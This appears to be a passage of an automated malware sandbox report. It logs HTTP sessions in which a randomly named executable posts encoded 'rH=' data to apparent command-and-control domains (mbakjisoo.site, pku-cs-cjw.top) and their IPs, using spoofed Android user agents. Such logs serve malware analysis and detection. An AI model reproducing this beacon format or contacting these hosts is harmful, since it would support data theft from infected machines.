                                              Data Raw: 72 48 3d 61 44 6d 64 5a 66 30 71 31 75 77 31 55 79 6f 52 4c 33 7a 72 69 6c 4e 2f 37 46 35 57 58 48 55 50 53 62 6e 75 33 57 33 43 74 36 73 39 39 6c 63 4d 48 76 39 32 6d 76 4a 2b 2f 41 77 46 70 55 67 2f 32 65 4e 52 51 4e 32 45 4f 6a 73 61 4c 75 78 5a 74 76 2f 75 65 4d 42 38 6d 43 6e 47 2f 64 59 79 6d 2b 67 47 5a 67 55 31 7a 54 47 33 7a 68 6e 52 42 4f 57 56 55 50 2f 76 68 63 47 57 4b 59 4c 73 61 68 32 50 73 62 4a 4c 49 2f 72 73 49 78 38 78 45 39 44 52 53 7a 34 51 68 51 32 68 5a 65 34 59 67 74 6b 33 74 6e 7a 70 63 69 68 48 4c 73 62 38 46 64 74 42 5a 4c 39 42 33 58 4b 59 79 35 42 4d 6c 32 36 35 57 6e 51 3d
                                              Data Ascii: rH=aDmdZf0q1uw1UyoRL3zrilN/7F5WXHUPSbnu3W3Ct6s99lcMHv92mvJ+/AwFpUg/2eNRQN2EOjsaLuxZtv/ueMB8mCnG/dYym+gGZgU1zTG3zhnRBOWVUP/vhcGWKYLsah2PsbJLI/rsIx8xE9DRSz4QhQ2hZe4Ygtk3tnzpcihHLsb8FdtBZL9B3XKYy5BMl265WnQ=
                                              Jan 11, 2025 06:56:50.494724989 CET1033INHTTP/1.1 404 Not Found
                                              Connection: close
                                              cache-control: private, no-cache, no-store, must-revalidate, max-age=0
                                              pragma: no-cache
                                              content-type: text/html
                                              content-length: 796
                                              date: Sat, 11 Jan 2025 05:56:50 GMT
                                              server: LiteSpeed
                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED]
                                              Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              2192.168.2.849709172.96.187.60801492C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exe
                                              TimestampBytes transferredDirectionData
                                              Jan 11, 2025 06:56:52.588301897 CET836OUTPOST /s7cs/ HTTP/1.1
                                              Host: www.mbakjisoo.site
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Encoding: gzip, deflate, br
                                              Accept-Language: en-US,en
                                              Origin: http://www.mbakjisoo.site
                                              Content-Type: application/x-www-form-urlencoded
                                              Connection: close
                                              Cache-Control: max-age=0
                                              Content-Length: 223
                                              Referer: http://www.mbakjisoo.site/s7cs/
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-P7510 Build/JDQ39; CyanogenMod-10.1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                              Data Raw: 72 48 3d 61 44 6d 64 5a 66 30 71 31 75 77 31 53 57 73 52 51 51 48 72 6b 46 4e 2b 33 6c 35 57 63 6e 55 4c 53 62 6a 75 33 53 48 53 74 73 30 39 39 41 59 4d 45 71 52 32 68 76 4a 2b 77 67 77 4b 74 55 67 4f 32 65 42 6a 51 4d 61 45 4f 6a 34 61 4c 76 42 5a 75 59 54 76 4d 73 42 2b 71 69 6e 45 67 4e 59 79 6d 2b 67 47 5a 67 41 54 7a 54 4f 33 79 53 2f 52 42 71 43 57 49 66 2f 73 6d 63 47 57 4f 59 4c 6f 61 68 33 67 73 65 67 65 49 39 54 73 49 77 4d 78 45 49 33 53 59 7a 34 53 38 41 33 50 5a 4d 74 44 69 2b 77 69 6c 42 33 6d 57 6b 78 74 44 36 71 57 66 2f 6c 48 61 4c 56 71 33 55 69 75 33 4f 63 6b 2f 56 71 4a 49 77 45 5a 36 68 75 52 2b 48 73 6c 64 68 38 42 6c 45 77 6c 58 4a 42 79
                                              Data Ascii: rH=aDmdZf0q1uw1SWsRQQHrkFN+3l5WcnULSbju3SHSts099AYMEqR2hvJ+wgwKtUgO2eBjQMaEOj4aLvBZuYTvMsB+qinEgNYym+gGZgATzTO3yS/RBqCWIf/smcGWOYLoah3gsegeI9TsIwMxEI3SYz4S8A3PZMtDi+wilB3mWkxtD6qWf/lHaLVq3Uiu3Ock/VqJIwEZ6huR+Hsldh8BlEwlXJBy
                                              Jan 11, 2025 06:56:53.024838924 CET1033INHTTP/1.1 404 Not Found
                                              Connection: close
                                              cache-control: private, no-cache, no-store, must-revalidate, max-age=0
                                              pragma: no-cache
                                              content-type: text/html
                                              content-length: 796
                                              date: Sat, 11 Jan 2025 05:56:52 GMT
                                              server: LiteSpeed
                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED]
                                              Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              3192.168.2.849710172.96.187.60801492C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exe
                                              TimestampBytes transferredDirectionData
                                              Jan 11, 2025 06:56:55.131280899 CET1853OUTPOST /s7cs/ HTTP/1.1
                                              Host: www.mbakjisoo.site
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Encoding: gzip, deflate, br
                                              Accept-Language: en-US,en
                                              Origin: http://www.mbakjisoo.site
                                              Content-Type: application/x-www-form-urlencoded
                                              Connection: close
                                              Cache-Control: max-age=0
                                              Content-Length: 1239
                                              Referer: http://www.mbakjisoo.site/s7cs/
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-P7510 Build/JDQ39; CyanogenMod-10.1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                              Data Raw: 72 48 3d 61 44 6d 64 5a 66 30 71 31 75 77 31 53 57 73 52 51 51 48 72 6b 46 4e 2b 33 6c 35 57 63 6e 55 4c 53 62 6a 75 33 53 48 53 74 73 38 39 38 79 51 4d 45 4e 6c 32 67 76 4a 2b 75 77 77 4a 74 55 67 70 32 65 5a 6e 51 4d 6e 37 4f 67 41 61 4b 4a 56 5a 36 39 6e 76 48 73 42 2b 31 53 6e 48 2f 64 59 64 6d 2f 51 64 5a 67 51 54 7a 54 4f 33 79 54 50 52 52 75 57 57 4b 66 2f 76 68 63 47 4b 4b 59 4c 4d 61 68 76 61 73 65 74 6c 4c 4a 6e 73 49 54 30 78 58 75 62 53 46 44 34 63 39 41 33 68 5a 4d 78 6d 69 2b 39 4d 6c 42 71 4c 57 6a 46 74 51 4d 65 50 45 72 35 63 45 64 4a 6a 77 6e 75 61 2b 39 51 70 34 6c 75 4e 4d 77 73 38 74 47 2b 42 2b 31 31 72 50 7a 4e 7a 33 69 38 4c 62 38 46 35 72 66 61 49 74 63 43 62 66 4b 76 70 6d 79 35 74 78 62 36 4d 6d 6c 31 33 6c 70 46 65 53 6f 68 76 5a 5a 76 59 62 6e 72 72 43 39 35 35 68 45 2f 71 4e 74 4e 58 73 67 64 6e 36 72 71 47 7a 4f 64 64 52 74 41 58 72 4b 54 70 57 38 32 30 31 35 6a 64 68 4a 75 47 33 2f 73 70 58 4f 58 44 34 6a 70 34 33 65 45 46 64 77 38 62 4b 6d 78 61 2b 58 67 43 4e 62 4b [TRUNCATED]
                                              Data Ascii: rH=aDmdZf0q1uw1SWsRQQHrkFN+3l5WcnULSbju3SHSts898yQMENl2gvJ+uwwJtUgp2eZnQMn7OgAaKJVZ69nvHsB+1SnH/dYdm/QdZgQTzTO3yTPRRuWWKf/vhcGKKYLMahvasetlLJnsIT0xXubSFD4c9A3hZMxmi+9MlBqLWjFtQMePEr5cEdJjwnua+9Qp4luNMws8tG+B+11rPzNz3i8Lb8F5rfaItcCbfKvpmy5txb6Mml13lpFeSohvZZvYbnrrC955hE/qNtNXsgdn6rqGzOddRtAXrKTpW82015jdhJuG3/spXOXD4jp43eEFdw8bKmxa+XgCNbKn/J98tTYDla2roKjqq8FodnEWto4op1yLS7fjx4rOdfDplLWg4ypU8oZWOizi/16Rv5TmQYv5gDm+nkazQCndyFd7FbM0iPkFdnAsA5yZJwLwYjRAhVMAbrPHifs1yyfgUm55mZDUMRG6X8vkyqcnRRBXyjGY/WYP1umrQw2qcPYuMSOdFEjGK1pSzie57tW2dh6rC432BnmGhYXpex/9ZooRnP8J9nB1dC4jTjFaoy5hM15KUog6yg6bODbs9UwRu7tmS9Nc3LwTTD776tYfEteq+JtatXpxS1OGi8QRfpDvWmyzSkB66h4ycBFzxvGffPg8hHvB64bD1fWotvbfILPTSkN8rYICMWLa48Mwp2Y5j6zxiUX+UWZA1wvaz9S2gKvHcomjIYwCP/DS0hbZ9JSkkoDRda/CP6/RIXjOe09mFeawEkQp33an/M3wwEF3RrH5DC8/h8BZRAaWzF283Z/JvoMCWRZqFkzjGJR9GxwtAaG+bAcAXrsvRsjRGAwG7C9hKojQL4Omu81DswrMDQDATTtQhKyiq72G5JkAWYXRCaa5M63tZ6UQaV/hFCZB90xT4TKAyMgmF7NvD+LTWqCUa3uri8M15rXcDPkiTWSVDJLumM81jz5kpeV/1Ep6jW1QTy4+7fav0fsZVXBCMWYB8ERxYV/B1 [TRUNCATED]
                                              Jan 11, 2025 06:56:55.588293076 CET1033INHTTP/1.1 404 Not Found
                                              Connection: close
                                              cache-control: private, no-cache, no-store, must-revalidate, max-age=0
                                              pragma: no-cache
                                              content-type: text/html
                                              content-length: 796
                                              date: Sat, 11 Jan 2025 05:56:55 GMT
                                              server: LiteSpeed
                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED]
                                              Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              4192.168.2.849711172.96.187.60801492C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exe
                                              TimestampBytes transferredDirectionData
                                              Jan 11, 2025 06:56:57.671014071 CET559OUTGET /s7cs/?rH=XBO9aoYe0c4EV2lGWX/eqScH3WB2DUU8GMnJuxCb2bBG6S8RD/F6utRSsBVbsw81jNVeG9r0NAJ+O+sM6di/DPNN1AqW/vE5uP5HTi0LrCapwh/dWLa7LN3Ylr7QDZSGIw==&B0=-V3pKrJ8iBXDb830 HTTP/1.1
                                              Host: www.mbakjisoo.site
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Language: en-US,en
                                              Connection: close
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-P7510 Build/JDQ39; CyanogenMod-10.1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                              Jan 11, 2025 06:56:58.125797033 CET1033INHTTP/1.1 404 Not Found
                                              Connection: close
                                              cache-control: private, no-cache, no-store, must-revalidate, max-age=0
                                              pragma: no-cache
                                              content-type: text/html
                                              content-length: 796
                                              date: Sat, 11 Jan 2025 05:56:58 GMT
                                              server: LiteSpeed
                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED]
                                              Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              5192.168.2.849713185.199.111.153801492C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exe
                                              TimestampBytes transferredDirectionData
                                              Jan 11, 2025 06:57:03.627893925 CET816OUTPOST /o8v1/ HTTP/1.1
                                              Host: www.pku-cs-cjw.top
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Encoding: gzip, deflate, br
                                              Accept-Language: en-US,en
                                              Origin: http://www.pku-cs-cjw.top
                                              Content-Type: application/x-www-form-urlencoded
                                              Connection: close
                                              Cache-Control: max-age=0
                                              Content-Length: 203
                                              Referer: http://www.pku-cs-cjw.top/o8v1/
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-P7510 Build/JDQ39; CyanogenMod-10.1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                              Data Raw: 72 48 3d 58 44 70 51 38 6e 49 50 78 35 55 43 48 4b 79 46 37 67 79 52 57 44 59 35 32 31 46 47 58 44 61 6a 56 52 37 69 42 73 72 6c 73 61 78 30 42 2b 79 6f 78 76 64 38 36 7a 73 6f 4f 55 66 48 76 79 66 79 49 75 71 78 67 35 76 59 52 75 76 31 7a 72 39 74 79 73 7a 52 76 33 79 38 30 30 4c 39 4d 43 59 6b 55 4b 59 41 67 2b 78 4c 44 35 4b 55 61 46 69 6f 55 44 63 41 37 61 65 67 4d 32 44 77 58 5a 6e 33 31 56 32 41 49 76 53 31 6b 31 6f 66 4f 42 55 73 31 63 38 55 49 62 49 7a 67 42 68 56 50 6e 65 2b 6b 6d 32 52 76 6e 2f 39 63 44 36 67 63 2f 6d 65 74 67 70 50 32 7a 71 64 36 70 2f 6a 46 38 74 51 53 35 49 65 38 35 38 3d
                                              Data Ascii: rH=XDpQ8nIPx5UCHKyF7gyRWDY521FGXDajVR7iBsrlsax0B+yoxvd86zsoOUfHvyfyIuqxg5vYRuv1zr9tyszRv3y800L9MCYkUKYAg+xLD5KUaFioUDcA7aegM2DwXZn31V2AIvS1k1ofOBUs1c8UIbIzgBhVPne+km2Rvn/9cD6gc/metgpP2zqd6p/jF8tQS5Ie858=
                                              Jan 11, 2025 06:57:04.072732925 CET488INHTTP/1.1 405 Method Not Allowed
                                              Connection: close
                                              Content-Length: 131
                                              Server: Varnish
                                              Retry-After: 0
                                              Accept-Ranges: bytes
                                              Date: Sat, 11 Jan 2025 05:57:04 GMT
                                              Via: 1.1 varnish
                                              X-Served-By: cache-ewr-kewr1740064-EWR
                                              X-Cache: MISS
                                              X-Cache-Hits: 0
                                              X-Timer: S1736575024.027380,VS0,VE0
                                              X-Fastly-Request-ID: dfc19154ee6cbdb92dafe918c41af101b11ac2a1
                                              Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e
                                              Data Ascii: <html><head><title>405 Not Allowed</title></head><body bgcolor="white"><center><h1>405 Not Allowed</h1></center></body></html>


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              6192.168.2.849731185.199.111.153801492C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exe
                                              TimestampBytes transferredDirectionData
                                              Jan 11, 2025 06:57:06.182286024 CET836OUTPOST /o8v1/ HTTP/1.1
                                              Host: www.pku-cs-cjw.top
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Encoding: gzip, deflate, br
                                              Accept-Language: en-US,en
                                              Origin: http://www.pku-cs-cjw.top
                                              Content-Type: application/x-www-form-urlencoded
                                              Connection: close
                                              Cache-Control: max-age=0
                                              Content-Length: 223
                                              Referer: http://www.pku-cs-cjw.top/o8v1/
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-P7510 Build/JDQ39; CyanogenMod-10.1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                              Data Raw: 72 48 3d 58 44 70 51 38 6e 49 50 78 35 55 43 56 2b 32 46 35 47 36 52 51 6a 5a 4c 7a 31 46 47 63 6a 61 76 56 52 48 69 42 74 76 31 74 73 70 30 42 65 43 6f 2b 4f 64 38 37 7a 73 6f 57 45 66 43 73 43 66 44 49 76 57 66 67 39 76 59 52 75 72 31 7a 70 31 74 79 66 61 6a 73 48 79 2b 74 6b 4c 7a 54 53 59 6b 55 4b 59 41 67 2b 6c 74 44 35 53 55 61 55 79 6f 4f 68 30 50 36 61 65 76 61 6d 44 77 54 5a 6e 7a 31 56 33 6c 49 75 50 39 6b 33 67 66 4f 45 6f 73 32 4a 63 54 44 62 49 31 2b 78 67 33 44 55 43 7a 71 31 71 58 74 48 6a 6f 59 6a 75 6f 51 70 58 30 33 43 68 4a 31 7a 43 32 36 71 58 56 41 4c 77 34 49 61 59 75 69 75 6f 43 37 57 35 78 43 77 4a 47 4b 71 38 75 5a 77 56 69 69 70 50 71
                                              Data Ascii: rH=XDpQ8nIPx5UCV+2F5G6RQjZLz1FGcjavVRHiBtv1tsp0BeCo+Od87zsoWEfCsCfDIvWfg9vYRur1zp1tyfajsHy+tkLzTSYkUKYAg+ltD5SUaUyoOh0P6aevamDwTZnz1V3lIuP9k3gfOEos2JcTDbI1+xg3DUCzq1qXtHjoYjuoQpX03ChJ1zC26qXVALw4IaYuiuoC7W5xCwJGKq8uZwViipPq
                                              Jan 11, 2025 06:57:06.624865055 CET488INHTTP/1.1 405 Method Not Allowed
                                              Connection: close
                                              Content-Length: 131
                                              Server: Varnish
                                              Retry-After: 0
                                              Accept-Ranges: bytes
                                              Date: Sat, 11 Jan 2025 05:57:06 GMT
                                              Via: 1.1 varnish
                                              X-Served-By: cache-ewr-kewr1740043-EWR
                                              X-Cache: MISS
                                              X-Cache-Hits: 0
                                              X-Timer: S1736575027.579068,VS0,VE0
                                              X-Fastly-Request-ID: b80c5d112a31057b4928ff65c93573cdb1539336
                                              Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e
                                              Data Ascii: <html><head><title>405 Not Allowed</title></head><body bgcolor="white"><center><h1>405 Not Allowed</h1></center></body></html>


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              7192.168.2.849747185.199.111.153801492C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exe
                                              TimestampBytes transferredDirectionData
                                              Jan 11, 2025 06:57:08.733164072 CET1853OUTPOST /o8v1/ HTTP/1.1
                                              Host: www.pku-cs-cjw.top
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Encoding: gzip, deflate, br
                                              Accept-Language: en-US,en
                                              Origin: http://www.pku-cs-cjw.top
                                              Content-Type: application/x-www-form-urlencoded
                                              Connection: close
                                              Cache-Control: max-age=0
                                              Content-Length: 1239
                                              Referer: http://www.pku-cs-cjw.top/o8v1/
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-P7510 Build/JDQ39; CyanogenMod-10.1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
